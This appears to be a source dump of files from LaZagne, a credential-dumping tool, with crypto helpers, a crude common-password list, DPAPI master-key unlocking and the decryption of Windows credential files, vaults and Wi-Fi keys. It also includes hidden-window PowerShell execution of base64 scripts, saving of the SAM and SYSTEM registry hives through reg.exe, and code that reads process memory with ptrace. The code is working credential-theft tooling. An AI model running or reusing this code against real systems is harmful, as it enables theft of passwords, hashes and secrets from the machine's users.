return strip_PKCS7_padding(self.decrypt(data))
if padding == PADDING_NONE:
if len(data) != 16:
raise Exception('invalid data length for final block')
return self.decrypt(data)
raise Exception('invalid padding option')
AESBlockModeOfOperation._can_consume = _block_can_consume
AESBlockModeOfOperation._final_encrypt = _block_final_encrypt
AESBlockModeOfOperation._final_decrypt = _block_final_decrypt
# CFB is a segment cipher
def _segment_can_consume(self, size):
return self.segment_bytes * int(size // self.segment_bytes)
# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):
if padding != PADDING_DEFAULT:
raise Exception('invalid padding option')
faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
padded = data + to_bufferable(faux_padding)
return self.encrypt(padded)[:len(data)]
# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):
if padding != PADDING_DEFAULT:
raise Exception('invalid padding option')
faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
padded = data + to_bufferable(faux_padding)
return self.decrypt(padded)[:len(data)]
AESSegmentModeOfOperation._can_consume = _segment_can_consume
AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt
AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt
# OFB and CTR are stream ciphers
def _stream_can_consume(self, size):
return size
def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):
if padding not in [PADDING_NONE, PADDING_DEFAULT]:
raise Exception('invalid padding option')
return self.encrypt(data)
def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):
if padding not in [PADDING_NONE, PADDING_DEFAULT]:
raise Exception('invalid padding option')
return self.decrypt(data)
AESStreamModeOfOperation._can_consume = _stream_can_consume
AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt
AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt
class BlockFeeder(object):
'''The super-class for objects to handle chunking a stream of bytes
into the appropriate block size for the underlying mode of operation
and applying (or stripping) padding, as necessary.'''
def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):
self._mode = mode
self._feed = feed
self._final = final
self._buffer = to_bufferable("")
self._padding = padding
def feed(self, data = None):
'''Provide bytes to encrypt (or decrypt), returning any bytes
possible from this or any previous calls to feed.
Call with None or an empty string to flush the mode of
operation and return any final bytes; no further calls to
feed may be made.'''
if self._buffer is None:
raise ValueError('already finished feeder')
# Finalize; process the spare bytes we were keeping
if data is None:
result = self._final(self._buffer, self._padding)
self._buffer = None
return result
self._buffer += to_bufferable(data)
# We keep 16 bytes around so we can determine padding
result = to_bufferable('')
while len(self._buffer) > 16:
can_consume = self._mode._can_consume(len(self._buffer) - 16)
if can_consume == 0: break
result += self._feed(self._buffer[:can_consume])
self._buffer = self._buffer[can_consume:]
return result
class Encrypter(BlockFeeder):
'Accepts bytes of plaintext and returns encrypted ciphertext.'
def __init__(self, mode, padding = PADDING_DEFAULT):
BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)
class Decrypter(BlockFeeder):
'Accepts bytes of ciphertext and returns decrypted plaintext.'
def __init__(self, mode, padding = PADDING_DEFAULT):
BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)
# 8kb blocks
BLOCK_SIZE = (1 << 13)
def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):
'Uses feeder to read and convert from in_stream and write to out_stream.'
while True:
chunk = in_stream.read(block_size)
if not chunk:
break
converted = feeder.feed(chunk)
out_stream.write(converted)
converted = feeder.feed()
out_stream.write(converted)
def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
'Encrypts a stream of bytes from in_stream to out_stream using mode.'
encrypter = Encrypter(mode, padding = padding)
_feed_stream(encrypter, in_stream, out_stream, block_size)
def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
'Decrypts a stream of bytes from in_stream to out_stream using mode.'
decrypter = Decrypter(mode, padding = padding)
_feed_stream(decrypter, in_stream, out_stream, block_size)

View File

@ -0,0 +1,60 @@
# The MIT License (MIT)
#
# Copyright (c) 2014 Richard Moore
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
# Why to_bufferable?
# Python 3 is very different from Python 2.x when it comes to strings of text
# and strings of bytes; in Python 3, strings of bytes do not exist, instead to
# represent arbitrary binary data, we must use the "bytes" object. This method
# ensures the object behaves as we need it to.
def to_bufferable(binary):
return binary
def _get_byte(c):
return ord(c)
try:
xrange
except NameError:
def to_bufferable(binary):
if isinstance(binary, bytes):
return binary
return bytes(ord(b) for b in binary)
def _get_byte(c):
return c
def append_PKCS7_padding(data):
pad = 16 - (len(data) % 16)
return data + to_bufferable(chr(pad) * pad)
def strip_PKCS7_padding(data):
if len(data) % 16 != 0:
raise ValueError("invalid length")
pad = _get_byte(data[-1])
if pad > 16:
raise ValueError("invalid padding byte")
return data[:-pad]

View File

@ -0,0 +1,57 @@
# Thanks to g2jun for his RC4-Python project
# Code from https://github.com/g2jun/RC4-Python
from lazagne.config.winstructure import char_to_int, chr_or_byte
class RC4(object):
def __init__(self, key):
self.key_bytes = self.text_to_bytes(key)
def text_to_bytes(self, text):
byte_list = []
# on Windows, default coding for Chinese is GBK
# s = s.decode('gbk').encode('utf-8')
for byte in text:
byte_list.append(char_to_int(byte))
return byte_list
def bytes_to_text(self, byte_list):
s = b''
for byte in byte_list:
s += chr_or_byte(byte)
return s
def encrypt(self, data):
plain_bytes = self.text_to_bytes(data)
keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes)
return self.bytes_to_text(cipher_bytes)
def crypt(self, plain_bytes, key_bytes):
keystream_list = []
cipher_list = []
key_len = len(key_bytes)
plain_len = len(plain_bytes)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key_bytes[i % key_len]) % 256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
for m in range(plain_len):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
keystream_list.append(k)
cipher_list.append(k ^ plain_bytes[m])
return keystream_list, cipher_list

503
lazagne/config/dico.py Normal file
View File

@ -0,0 +1,503 @@
def get_dic():
return [
b"password",
b"123456",
b"12345678",
b"1234",
b"qwerty",
b"12345",
b"dragon",
b"pussy",
b"baseball",
b"football",
b"letmein",
b"monkey",
b"696969",
b"abc123",
b"mustang",
b"michael",
b"shadow",
b"master",
b"jennifer",
b"111111",
b"2000",
b"jordan",
b"superman",
b"harley",
b"1234567",
b"fuckme",
b"hunter",
b"fuckyob",
b"trustno1",
b"ranger",
b"buster",
b"thomas",
b"tigger",
b"robert",
b"soccer",
b"fuck",
b"batman",
b"test",
b"pass",
b"killer",
b"hockey",
b"george",
b"charlie",
b"andrew",
b"michelle",
b"love",
b"sunshine",
b"jessica",
b"asshole",
b"6969",
b"pepper",
b"daniel",
b"access",
b"123456789",
b"654321",
b"joshua",
b"maggie",
b"starwars",
b"silver",
b"william",
b"dallas",
b"yankees",
b"123123",
b"ashley",
b"666666",
b"hello",
b"amanda",
b"orange",
b"biteme",
b"freedom",
b"computer",
b"sexy",
b"thunder",
b"nicole",
b"ginger",
b"heather",
b"hammer",
b"summer",
b"corvette",
b"taylor",
b"fucker",
b"austin",
b"1111",
b"merlin",
b"matthew",
b"121212",
b"golfer",
b"cheese",
b"princess",
b"martin",
b"chelsea",
b"patrick",
b"richard",
b"diamond",
b"yellow",
b"bigdog",
b"secret",
b"asdfgh",
b"sparky",
b"cowboy",
b"camaro",
b"anthony",
b"matrix",
b"falcon",
b"iloveyob",
b"bailey",
b"guitar",
b"jackson",
b"purple",
b"scooter",
b"phoenix",
b"aaaaaa",
b"morgan",
b"tigers",
b"porsche",
b"mickey",
b"maverick",
b"cookie",
b"nascar",
b"peanut",
b"justin",
b"131313",
b"money",
b"horny",
b"samantha",
b"panties",
b"steelers",
b"joseph",
b"snoopy",
b"boomer",
b"whatever",
b"iceman",
b"smokey",
b"gateway",
b"dakota",
b"cowboys",
b"eagles",
b"chicken",
b"dick",
b"black",
b"zxcvbn",
b"please",
b"andrea",
b"ferrari",
b"knight",
b"hardcore",
b"melissa",
b"compaq",
b"coffee",
b"booboo",
b"bitch",
b"johnny",
b"bulldog",
b"xxxxxx",
b"welcome",
b"james",
b"player",
b"ncc1701",
b"wizard",
b"scooby",
b"charles",
b"junior",
b"internet",
b"bigdick",
b"mike",
b"brandy",
b"tennis",
b"blowjob",
b"banana",
b"monster",
b"spider",
b"lakers",
b"miller",
b"rabbit",
b"enter",
b"mercedes",
b"brandon",
b"steven",
b"fender",
b"john",
b"yamaha",
b"diablo",
b"chris",
b"boston",
b"tiger",
b"marine",
b"chicago",
b"rangers",
b"gandalf",
b"winter",
b"bigtits",
b"barney",
b"edward",
b"raiders",
b"porn",
b"badboy",
b"blowme",
b"spanky",
b"bigdaddy",
b"johnson",
b"chester",
b"london",
b"midnight",
b"blue",
b"fishing",
b"000000",
b"hannah",
b"slayer",
b"11111111",
b"rachel",
b"sexsex",
b"redsox",
b"thx1138",
b"asdf",
b"marlboro",
b"panther",
b"zxcvbnm",
b"arsenal",
b"oliver",
b"qazwsx",
b"mother",
b"victoria",
b"7777777",
b"jasper",
b"angel",
b"david",
b"winner",
b"crystal",
b"golden",
b"butthead",
b"viking",
b"jack",
b"iwantb",
b"shannon",
b"murphy",
b"angels",
b"prince",
b"cameron",
b"girls",
b"madison",
b"wilson",
b"carlos",
b"hooters",
b"willie",
b"startrek",
b"captain",
b"maddog",
b"jasmine",
b"butter",
b"booger",
b"angela",
b"golf",
b"lauren",
b"rocket",
b"tiffany",
b"theman",
b"dennis",
b"liverpoo",
b"flower",
b"forever",
b"green",
b"jackie",
b"muffin",
b"turtle",
b"sophie",
b"danielle",
b"redskins",
b"toyota",
b"jason",
b"sierra",
b"winston",
b"debbie",
b"giants",
b"packers",
b"newyork",
b"jeremy",
b"casper",
b"bubba",
b"112233",
b"sandra",
b"lovers",
b"mountain",
b"united",
b"cooper",
b"driver",
b"tucker",
b"helpme",
b"fucking",
b"pookie",
b"lucky",
b"maxwell",
b"8675309",
b"bear",
b"suckit",
b"gators",
b"5150",
b"222222",
b"shithead",
b"fuckoff",
b"jaguar",
b"monica",
b"fred",
b"happy",
b"hotdog",
b"tits",
b"gemini",
b"lover",
b"xxxxxxxx",
b"777777",
b"canada",
b"nathan",
b"victor",
b"florida",
b"88888888",
b"nicholas",
b"rosebud",
b"metallic",
b"doctor",
b"trouble",
b"success",
b"stupid",
b"tomcat",
b"warrior",
b"peaches",
b"apples",
b"fish",
b"qwertyui",
b"magic",
b"buddy",
b"dolphins",
b"rainbow",
b"gunner",
b"987654",
b"freddy",
b"alexis",
b"braves",
b"cock",
b"2112",
b"1212",
b"cocacola",
b"xavier",
b"dolphin",
b"testing",
b"bond007",
b"member",
b"calvin",
b"voodoo",
b"7777",
b"samson",
b"alex",
b"apollo",
b"fire",
b"tester",
b"walter",
b"beavis",
b"voyager",
b"peter",
b"porno",
b"bonnie",
b"rush2112",
b"beer",
b"apple",
b"scorpio",
b"jonathan",
b"skippy",
b"sydney",
b"scott",
b"red123",
b"power",
b"gordon",
b"travis",
b"beaver",
b"star",
b"jackass",
b"flyers",
b"boobs",
b"232323",
b"zzzzzz",
b"steve",
b"rebecca",
b"scorpion",
b"doggie",
b"legend",
b"ou812",
b"yankee",
b"blazer",
b"bill",
b"runner",
b"birdie",
b"bitches",
b"555555",
b"parker",
b"topgun",
b"asdfasdf",
b"heaven",
b"viper",
b"animal",
b"2222",
b"bigboy",
b"4444",
b"arthur",
b"baby",
b"private",
b"godzilla",
b"donald",
b"williams",
b"lifehack",
b"phantom",
b"dave",
b"rock",
b"august",
b"sammy",
b"cool",
b"brian",
b"platinum",
b"jake",
b"bronco",
b"paul",
b"mark",
b"frank",
b"heka6w2",
b"copper",
b"billy",
b"cumshot",
b"garfield",
b"willow",
b"cunt",
b"little",
b"carter",
b"slut",
b"albert",
b"69696969",
b"kitten",
b"super",
b"jordan23",
b"eagle1",
b"shelby",
b"america",
b"11111",
b"jessie",
b"house",
b"free",
b"123321",
b"chevy",
b"bullshit",
b"white",
b"broncos",
b"horney",
b"surfer",
b"nissan",
b"999999",
b"saturn",
b"airborne",
b"elephant",
b"marvin",
b"shit",
b"action",
b"adidas",
b"qwert",
b"kevin",
b"1313",
b"explorer",
b"walker",
b"police",
b"christin",
b"december",
b"benjamin",
b"wolf",
b"sweet",
b"therock",
b"king",
b"online",
b"dickhead",
b"brooklyn",
b"teresa",
b"cricket",
b"sharon",
b"dexter",
b"racing",
b"penis",
b"gregory",
b"0000",
b"teens",
b"redwings",
b"dreams",
b"michigan",
b"hentai",
b"magnum",
b"87654321",
b"nothing",
b"donkey",
b"trinity",
b"digital",
b"333333",
b"stella",
b"cartman",
b"guinness",
b"123abc",
b"speedy",
b"buffalo",
b"kitty"]

View File

@ -0,0 +1,186 @@
#!/usr/bin/python
# -*- coding: utf-8 -*-
import codecs
import os
from lazagne.config.DPAPI.masterkey import MasterKeyPool
from lazagne.config.DPAPI.credfile import CredFile
from lazagne.config.DPAPI.vault import Vault
from lazagne.config.DPAPI.blob import DPAPIBlob
from lazagne.config.write_output import print_debug
from lazagne.config.constant import constant
from lazagne.softwares.windows.lsa_secrets import LSASecrets
def are_masterkeys_retrieved():
"""
Before running modules using DPAPI, we have to retrieve masterkeys
otherwise, we do not realize these checks
"""
current_user = constant.username
if constant.pypykatz_result.get(current_user, None):
password = constant.pypykatz_result[current_user].get('Password', None)
pwdhash = constant.pypykatz_result[current_user].get('Shahash', None)
# Create one DPAPI object by user
constant.user_dpapi = UserDpapi(password=password, pwdhash=pwdhash)
if not constant.user_dpapi or not constant.user_dpapi.unlocked:
# constant.user_password represents the password entered manually by the user
constant.user_dpapi = UserDpapi(password=constant.user_password)
# Add username to check username equals passwords
constant.user_dpapi.check_credentials([constant.username] + constant.password_found)
# Return True if at least one masterkey has been decrypted
return constant.user_dpapi.unlocked
def manage_response(ok, msg):
if ok:
return msg
else:
print_debug('DEBUG', u'{msg}'.format(msg=msg))
return False
class UserDpapi(object):
"""
User class for DPAPI functions
"""
def __init__(self, password=None, pwdhash=None):
self.sid = None
self.umkp = None
self.unlocked = False
protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect')
credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST')
if os.path.exists(protect_folder):
for folder in os.listdir(protect_folder):
if folder.startswith('S-'):
self.sid = folder
break
if self.sid:
masterkeydir = os.path.join(protect_folder, self.sid)
if os.path.exists(masterkeydir):
self.umkp = MasterKeyPool()
self.umkp.load_directory(masterkeydir)
self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file)
if password:
for ok, r in self.umkp.try_credential(sid=self.sid, password=password):
if ok:
self.unlocked = True
print_debug('OK', r)
else:
print_debug('ERROR', r)
elif pwdhash:
for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')):
if ok:
self.unlocked = True
print_debug('OK', r)
else:
print_debug('ERROR', r)
def check_credentials(self, passwords):
if self.umkp:
for password in passwords:
for ok, r in self.umkp.try_credential(sid=self.sid, password=password):
if ok:
self.unlocked = True
print_debug('OK', r)
else:
print_debug('ERROR', r)
def decrypt_blob(self, dpapi_blob):
"""
Decrypt DPAPI Blob
"""
if self.umkp:
blob = DPAPIBlob(dpapi_blob)
ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp)
return manage_response(ok, msg)
def decrypt_cred(self, credfile):
"""
Decrypt Credential Files
"""
if self.umkp:
with open(credfile, 'rb') as f:
c = CredFile(f.read())
ok, msg = c.decrypt(self.umkp, credfile)
return manage_response(ok, msg)
def decrypt_vault(self, vaults_dir):
"""
Decrypt Vault Files
"""
if self.umkp:
v = Vault(vaults_dir=vaults_dir)
ok, msg = v.decrypt(mkp=self.umkp)
return manage_response(ok, msg)
def decrypt_encrypted_blob(self, ciphered, entropy_hex=False):
"""
Decrypt encrypted blob
"""
if self.umkp:
blob = DPAPIBlob(ciphered)
ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp, entropy_hex=entropy_hex)
return manage_response(ok, msg)
def get_dpapi_hash(self, context='local'):
"""
Retrieve DPAPI hash to bruteforce it using john or hashcat.
"""
if self.umkp:
return self.umkp.get_dpapi_hash(sid=self.sid, context=context)
def get_cleartext_password(self):
"""
Retrieve cleartext password associated to the preferred user maskterkey.
This password should represent the windows user password.
"""
if self.umkp:
return self.umkp.get_cleartext_password()
class SystemDpapi(object):
"""
System class for DPAPI functions
Need to have high privilege
"""
def __init__(self):
self.smkp = None
self.unlocked = False
if not constant.lsa_secrets:
# Retrieve LSA secrets
LSASecrets().run()
if constant.lsa_secrets:
masterkeydir = u'C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User'
if os.path.exists(masterkeydir):
self.smkp = MasterKeyPool()
self.smkp.load_directory(masterkeydir)
self.smkp.add_system_credential(constant.lsa_secrets[b'DPAPI_SYSTEM'])
for ok, r in self.smkp.try_system_credential():
if ok:
print_debug('OK', r)
self.unlocked = True
else:
print_debug('ERROR', r)
def decrypt_wifi_blob(self, key_material):
"""
Decrypt wifi password
"""
if self.smkp:
blob = DPAPIBlob(codecs.decode(key_material, 'hex'))
ok, msg = blob.decrypt_encrypted_blob(mkp=self.smkp)
return manage_response(ok, msg)

View File

@ -0,0 +1,100 @@
# -*- coding: utf-8 -*-
# !/usr/bin/python
import base64
import os
import subprocess
import re
from lazagne.config.write_output import print_debug
from lazagne.config.constant import constant
try:
import _subprocess as sub
STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3
SW_HIDE = sub.SW_HIDE
except ImportError:
STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW
SW_HIDE = subprocess.SW_HIDE
def powershell_execute(script, func):
"""
Execute a powershell script
"""
output = ""
try:
script = re.sub("Write-Verbose ", "Write-Output ", script, flags=re.I)
script = re.sub("Write-Error ", "Write-Output ", script, flags=re.I)
script = re.sub("Write-Warning ", "Write-Output ", script, flags=re.I)
full_args = ["powershell.exe", "-NoProfile", "-NoLogo", "-C", "-"]
info = subprocess.STARTUPINFO()
info.dwFlags = STARTF_USESHOWWINDOW
info.wShowWindow = SW_HIDE
p = subprocess.Popen(full_args, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,
stdout=subprocess.PIPE, universal_newlines=True, shell=True)
p.stdin.write("$base64=\"\"" + "\n")
n = 25000
b64_script = base64.b64encode(script)
tab = [b64_script[i:i + n] for i in range(0, len(b64_script), n)]
for t in tab:
p.stdin.write("$base64+=\"%s\"\n" % t)
p.stdin.flush()
p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
p.stdin.write("Invoke-Expression $d\n")
p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % func)
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
p.stdin.write("Write-Host \"[BEGIN]\"\n")
p.stdin.write("Write-Host $b\n")
# begin flag used to remove possible bullshit output print before the func is launched
if '[BEGIN]' in p.stdout.readline():
# Get the result in base64
for i in p.stdout.readline():
output += i
output = base64.b64decode(output)
except Exception:
pass
return output
def save_hives():
"""
Save SAM Hives
"""
for h in constant.hives:
if not os.path.exists(constant.hives[h]):
try:
cmdline = 'reg.exe save hklm\%s %s' % (h, constant.hives[h])
command = ['cmd.exe', '/c', cmdline]
info = subprocess.STARTUPINFO()
info.dwFlags = STARTF_USESHOWWINDOW
info.wShowWindow = SW_HIDE
p = subprocess.Popen(command, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,
stdout=subprocess.PIPE, universal_newlines=True)
results, _ = p.communicate()
except Exception as e:
print_debug('ERROR', u'Failed to save system hives: {error}'.format(error=e))
return False
return True
def delete_hives():
"""
Delete SAM Hives
"""
# Try to remove all temporary files
for h in constant.hives:
if os.path.exists(constant.hives[h]):
try:
os.remove(constant.hives[h])
print_debug('DEBUG', u'Temp {hive} removed: {filename}'.format(hive=h, filename=constant.hives[h]))
except Exception:
print_debug('DEBUG', u'Temp {hive} failed to removed: {filename}'.format(hive=h, filename=constant.hives[h]))

View File

View File

@ -0,0 +1,111 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
from .utils import *
class AddressException(Exception):
pass
class Address(object):
""" this class is used to have better representation of memory addresses """
def __init__(self, value, process, default_type = 'uint'):
self.value = int(value)
self.process = process
self.default_type = default_type
self.symbolic_name = None
def read(self, type = None, maxlen = None, errors='raise'):
if maxlen is None:
try:
int(type)
maxlen = int(type)
type = None
except:
pass
if not type:
type = self.default_type
if not maxlen:
return self.process.read(self.value, type=type, errors=errors)
else:
return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors)
def write(self, data, type = None):
if not type:
type = self.default_type
return self.process.write(self.value, data, type=type)
def symbol(self):
return self.process.get_symbolic_name(self.value)
def get_instruction(self):
return self.process.get_instruction(self.value)
def dump(self, ftype = 'bytes', size = 512, before = 32):
buf = self.process.read_bytes(self.value - before, size)
print(hex_dump(buf, self.value - before, ftype=ftype))
def __nonzero__(self):
return self.value is not None and self.value != 0
def __add__(self, other):
return Address(self.value + int(other), self.process, self.default_type)
def __sub__(self, other):
return Address(self.value - int(other), self.process, self.default_type)
def __repr__(self):
if not self.symbolic_name:
self.symbolic_name = self.symbol()
return str('<Addr: %s' % self.symbolic_name + '>')
def __str__(self):
if not self.symbolic_name:
self.symbolic_name = self.symbol()
return str('<Addr: %s' % self.symbolic_name + ' : "%s" (%s)>' % (str(self.read()).encode('unicode_escape'), self.default_type))
def __int__(self):
return int(self.value)
def __hex__(self):
return hex(self.value)
def __get__(self, instance, owner):
return self.value
def __set__(self, instance, value):
self.value = int(value)
def __lt__(self, other):
return self.value < int(other)
def __le__(self, other):
return self.value <= int(other)
def __eq__(self, other):
return self.value == int(other)
def __ne__(self, other):
return self.value != int(other)
def __gt__(self, other):
return self.value > int(other)
def __ge__(self, other):
return self.value >= int(other)

View File

@ -0,0 +1,66 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import struct
from .utils import *
""" Base class for process not linked to any platform """
class ProcessException(Exception):
pass
class BaseProcess(object):
def __init__(self, *args, **kwargs):
""" Create and Open a process object from its pid or from its name """
self.h_process = None
self.pid = None
self.isProcessOpen = False
self.buffer = None
self.bufferlen = 0
def __del__(self):
self.close()
def close(self):
pass
def iter_region(self, *args, **kwargs):
raise NotImplementedError
def write_bytes(self, address, data):
raise NotImplementedError
def read_bytes(self, address, bytes = 4):
raise NotImplementedError
def get_symbolic_name(self, address):
return '0x%08X' % int(address)
def read(self, address, type = 'uint', maxlen = 50, errors='raise'):
if type == 's' or type == 'string':
s = self.read_bytes(int(address), bytes=maxlen)
try:
idx = s.index(b'\x00')
return s[:idx]
except:
if errors == 'ignore':
return s
raise ProcessException('string > maxlen')
else:
if type == 'bytes' or type == 'b':
return self.read_bytes(int(address), bytes=maxlen)
s, l = type_unpack(type)
return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0]
def write(self, address, data, type = 'uint'):
if type != 'bytes':
s, l = type_unpack(type)
return self.write_bytes(int(address), struct.pack(s, data))
else:
return self.write_bytes(int(address), data)

View File

@ -0,0 +1,296 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
import copy
import struct
# import utils
import platform
import ctypes, re, sys
from ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno
import errno
import os
import signal
from .BaseProcess import BaseProcess, ProcessException
from .structures import *
import logging
logger = logging.getLogger('memorpy')
libc=ctypes.CDLL("libc.so.6", use_errno=True)
get_errno_loc = libc.__errno_location
get_errno_loc.restype = POINTER(c_int)
def errcheck(ret, func, args):
if ret == -1:
_errno = get_errno() or errno.EPERM
raise OSError(os.strerror(_errno))
return ret
c_ptrace = libc.ptrace
c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t
c_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p]
c_ptrace.restype = c_long
mprotect = libc.mprotect
mprotect.restype = c_int
mprotect.argtypes = [c_void_p, c_size_t, c_int]
LARGE_FILE_SUPPORT=False
try:
c_off64_t=ctypes.c_longlong
lseek64 = libc.lseek64
lseek64.argtypes = [c_int, c_off64_t, c_int]
lseek64.errcheck=errcheck
open64 = libc.open64
open64.restype = c_int
open64.argtypes = [c_void_p, c_int]
open64.errcheck=errcheck
pread64=libc.pread64
pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t]
pread64.restype = c_ssize_t
pread64.errcheck=errcheck
c_close=libc.close
c_close.argtypes = [c_int]
c_close.restype = c_int
LARGE_FILE_SUPPORT=True
except:
logger.warning("no Large File Support")
class LinProcess(BaseProcess):
def __init__(self, pid=None, name=None, debug=True, ptrace=None):
""" Create and Open a process object from its pid or from its name """
super(LinProcess, self).__init__()
self.mem_file=None
self.ptrace_started=False
if pid is not None:
self.pid=pid
elif name is not None:
self.pid=LinProcess.pid_from_name(name)
else:
raise ValueError("You need to instanciate process with at least a name or a pid")
if ptrace is None:
if os.getuid()==0:
self.read_ptrace=False # no need to ptrace the process when root to read memory
else:
self.read_ptrace=True
self._open()
def check_ptrace_scope(self):
""" check ptrace scope and raise an exception if privileges are unsufficient
The sysctl settings (writable only with CAP_SYS_PTRACE) are:
0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other
process running under the same uid, as long as it is dumpable (i.e.
did not transition uids, start privileged, or have called
prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is
unchanged.
1 - restricted ptrace: a process must have a predefined relationship
with the inferior it wants to call PTRACE_ATTACH on. By default,
this relationship is that of only its descendants when the above
classic criteria is also met. To change the relationship, an
inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare
an allowed debugger PID to call PTRACE_ATTACH on the inferior.
Using PTRACE_TRACEME is unchanged.
2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace
with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.
3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via
PTRACE_TRACEME. Once set, this sysctl value cannot be changed.
"""
try:
with open("/proc/sys/kernel/yama/ptrace_scope",'rb') as f:
ptrace_scope=int(f.read().strip())
if ptrace_scope==3:
logger.warning("yama/ptrace_scope == 3 (no attach). :/")
if os.getuid()==0:
return
elif ptrace_scope == 1:
logger.warning("yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root")
elif ptrace_scope == 2:
logger.warning("yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE")
except IOError:
pass
except Exception as e:
logger.warning("Error getting ptrace_scope ?? : %s"%e)
def close(self):
if self.mem_file:
if not LARGE_FILE_SUPPORT:
self.mem_file.close()
else:
c_close(self.mem_file)
self.mem_file=None
if self.ptrace_started:
self.ptrace_detach()
def __del__(self):
self.close()
def _open(self):
self.isProcessOpen = True
self.check_ptrace_scope()
if os.getuid()!=0:
#to raise an exception if ptrace is not allowed
self.ptrace_attach()
self.ptrace_detach()
#open file descriptor
if not LARGE_FILE_SUPPORT:
self.mem_file=open("/proc/" + str(self.pid) + "/mem", 'rb', 0)
else:
path=create_string_buffer(b"/proc/%d/mem" % self.pid)
self.mem_file=open64(byref(path), os.O_RDONLY)
@staticmethod
def list():
processes=[]
for pid in os.listdir("/proc"):
try:
exe=os.readlink("/proc/%s/exe"%pid)
processes.append({"pid":int(pid), "name":exe})
except:
pass
return processes
@staticmethod
def pid_from_name(name):
#quick and dirty, works with all linux not depending on ps output
for pid in os.listdir("/proc"):
try:
int(pid)
except:
continue
pname=""
